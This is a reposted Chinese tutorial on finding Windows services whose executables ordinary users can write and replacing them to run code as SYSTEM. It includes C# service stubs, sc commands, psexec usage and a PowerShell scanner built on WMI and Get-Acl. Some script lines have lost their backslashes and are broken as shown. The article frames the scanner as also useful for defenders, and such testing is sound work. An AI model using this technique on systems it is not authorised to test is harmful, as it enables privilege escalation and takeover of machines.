使用PowerShell找到可写的Windows服务并利用-阿里云开发者社区

开发者社区> 玄学酱> 正文

使用PowerShell找到可写的Windows服务并利用

简介: 本文讲的是使用PowerShell找到可写的Windows服务并利用,从DidierStevens的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个powershell脚本,用来寻找可被替换的服务,实现自动化利用。
+关注继续查看
本文讲的是使用PowerShell找到可写的Windows服务并利用从DidierStevens的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个powershell脚本,用来寻找可被替换的服务,实现自动化利用。

0x01 简介

本文将要介绍以下内容:

· 使用c#编写可供Windows服务调用的程序

· psexec的-i参数使用技巧

· sc命令使用技巧

· 通过powershell获取服务对应的可执行文件路径

· 自动化利用脚本开发细节

0x02 使用c#编写可供Windows服务调用的程序

可供Windows服务调用的程序需要能够同SCM(Services Control Manager)进行交互,所以在程序编写上需要注意

Didier Stevens在博客中给出了c#开发的模板,代码如下:

using System.ServiceProcess;
 
namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("cmd.exe");
        }
    }
 
    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

由于是c#代码,可以直接用csc.exe进行编译

所以在实际使用的过程,不需要提前编译好exe,只需要将cs脚本上传,再使用csc.exe编译成exe即可

0x03 sc命令使用技巧

查询所有服务列表:

sc query

查询指定服务配置信息:

sc qc 服务名

创建服务:

sc create Test type= own binpath= c:\test\test.exe

删除服务:

sc delete 服务名

0x04 通过powershell获取服务对应的可执行文件路径

Didier Stevens在博客中说他朋友找到了一个可写的Windows服务,并且只需要普通用户权限,于是,自然就想到了我们自己能否也找到这个服务

通过sc query能够列举出所有服务名称,再通过sc qc 服务名 查询到该服务对应的可执行文件路径

例如:sc qc eventlog

如下图,eventlog服务对应可执行文件路径为C:\Windows\System32\svchost.exe

使用PowerShell找到可写的Windows服务并利用

可以手动去查找每个服务对应的可执行文件路径,看是否存在符合要求的路径(即普通用户可写的权限)

当然,该过程耗时耗力,最好通过编写程序来实现

在Windows系统下,最简单高效的开发语言还是powershell,于是决定使用powershell来实现自动化判断

但是,sc这个命令不能直接在ps里面运行,ps会把它当作set-content的别名

解决方法:

调用WMI来实现,代码如下:

Get-WmiObject win32_service | select Name,PathName

如下图,能够列举服务和对应的可执行文件路径

使用PowerShell找到可写的Windows服务并利用

0x05 自动化利用脚本开发细节

下面介绍自动化脚本的开发细节,思路如下:

列举出服务和对应的可执行文件路径后,对每一个路径进行提取,判断该路径是否具有普通用户可写的权限

1、获取所有可执行文件路径

Get-WmiObject win32_service | select Name,PathName

2、将可执行文件路径转换为数组

$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}

数组范围:

$out[0]$out[($out.Count-1)]

如下图

使用PowerShell找到可写的Windows服务并利用

3、截取路径,显示单个数组的文件夹

$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny(""))

如下图

使用PowerShell找到可写的Windows服务并利用

4、为了格式统一,将字符串都转换为大写

$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny(""))

5、枚举所有截取过的文件夹

使用foreach循环:

foreach ($item in $out){$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))}

如下图

使用PowerShell找到可写的Windows服务并利用

也可使用for循环:

for($i=0;$i -le $out.Count-1;$i++){$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))}

6、获取文件夹权限

$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))Get-Acl -Path $a |select Owner

以下三个权限代表管理员权限,不符合要求:

· NT AUTHORITY\SYSTEM

· NT SERVICE\TrustedInstaller

· BUILTIN\Administrators

因此要对其剔除,剩下的权限代表当前用户,对应代码为:

If($a.Owner -ne "NT AUTHORITY\SYSTEM"){If($a.Owner -ne "NT SERVICE\TrustedInstaller"){If($a.Owner -ne "BUILTIN\Administrators"){$a.Owner   }}}

7、筛选符合条件的服务后,重新查找,找到当前用户权限对应的服务名称和路径

Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName

8、如果在系统未找到可利用的服务,脚本会报错,提示不能对 Null 值表达式调用方法

如下图

使用PowerShell找到可写的Windows服务并利用

使用$ErrorActionPreference="SilentlyContinue"隐藏错误信息,错误信息写入$Error变量

综上,对输出格式进行优化,完整代码如下:

$ErrorActionPreference="SilentlyContinue"$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}for($i=0;$i -le $out.Count-1;$i++){$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny(""))If($a.Owner -ne "NT AUTHORITYSYSTEM"){If($a.Owner -ne "NT SERVICETrustedInstaller"){If($a.Owner -ne "BUILTINAdministrators"){Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,StatusWrite-host Owner: $a.Owner}}}}Write-host [+] All done.

0x06 实际测试

1、手动创建服务Test

sc create Test type= own binpath= c:\test\test.exe

2、编译生成exe

using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start("calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}

保存为test.cs

使用csc.exe编译:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

生成test.exe

3、启动服务

sc start Test

查看进程,能够看到calc.exe进程启动,权限为system,如下图

使用PowerShell找到可写的Windows服务并利用

4、替换test.exe

在实际情况,如果没有获得管理员权限,那么无法启动和停止服务

如果不停止服务,就无法直接删除exe,提示拒绝访问

但可以将该文件重命名,相当于变相删除该文件,将新文件再命名为test.exe

rename test.exe test2.exe

这样就可以在不停止服务的情况下实现文件替换,如下图

使用PowerShell找到可写的Windows服务并利用

5、重启服务

sc stop Testsc start Test

当然,该操作需要管理员权限

6、psexec的-i参数使用技巧

由于服务启动的exe为system权限,默认为session 0,而用户界面为session 1,所以看不到启动的exe界面

可通过psexec指定启动exe的session,这样就能获取到程序界面

test.cs修改如下:

using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start(@"c:testpsexec.exe", @"-accepteula -d -i 1 calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}

停止服务: sc stop Test

删除文件: del test.exe

编译文件: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

将psexec保存在c:test

启动服务: sc start Test

此时,能够看到system权限calc.exe的界面,如下图

使用PowerShell找到可写的Windows服务并利用

7、使用powershell脚本扫描

如下图,标记出服务命令和可供替换的路径,便于进行替换

使用PowerShell找到可写的Windows服务并利用

该脚本能够自动判断当前系统是否存在可供利用的服务

0x07 小结

如果找到了一个普通用户权限可写的Windows服务,对其可执行文件进行替换,那么在服务重启后,就能以system权限执行替换后的文件,可用作提权。

本文开源的脚本可用来自动查找当前系统是否存在普通用户权限可写的Windows服务,站在防御者的角度,也可以用该脚本测试自己的系统。




原文发布时间为:2017年9月12日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
windows客户端连接到samba服务器(如何使用samba)
首先确保你的服务端已经配置好samba并成功启动服务,方法可参考此文章http://blog.csdn.net/linglongwunv/archive/2010/01/19/5212875.aspx,我们就可以从 Windows 客户端通过Windows网络连接到Samba,这里以 Windows...
1766 0
PowerMockito使用详解(转)
一、为什么要使用Mock工具       在做单元测试的时候,我们会发现我们要测试的方法会引用很多外部依赖的对象,比如:(发送邮件,网络通讯,远程服务, 文件系统等等)。 而我们没法控制这些外部依赖的对象,为了解决这个问题,我们就需要用到Mock工具来模拟这些外部依赖的对象,来完成单元测试。
1168 0
使用PowerShell找到可写的Windows服务并利用
本文讲的是使用PowerShell找到可写的Windows服务并利用,从DidierStevens的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个powershell脚本,用来寻找可被替换的服务,实现自动化利用。
1945 0
Windows下使用VisualSVN Server搭建SVN服务器
使用 VisualSVN Server来实现主要的 SVN功能则要比使用原始的 SVN和Apache相配合来实现源代码的 SVN管理简单的多,下面就看看详细的说明。 VisualSVN Server的下载地址如下,是免费的,随意不必有顾虑 http://www.visualsvn.com/server/download/ SVN 的下载地址如下 http://tortoisesvn.net/downloads.html 【1】使用SVN,首先要安装TortoiseSVN,就是上面的SVN下载地址。
1704 0
使用OpenApi弹性释放和设置云服务器ECS释放
云服务器ECS的一个重要特性就是按需创建资源。您可以在业务高峰期按需弹性的自定义规则进行资源创建,在完成业务计算的时候释放资源。本篇将提供几个Tips帮助您更加容易和自动化的完成云服务器的释放和弹性设置。
8079 0
C# window 服务的学习
1   C#Windows服务程序之添加安装程序图解 http://developer.51cto.com/art/200908/144060.htm 2 C#Windows服务程序的快速开发 http://developer.
583 0
+关注
玄学酱
这个时候,玄酱是不是应该说点什么...
17436
文章
438
问答
文章排行榜
最热
最新
相关电子书
更多
文娱运维技术
立即下载
《SaaS模式云原生数据仓库应用场景实践》
立即下载
《看见新力量:二》电子书
立即下载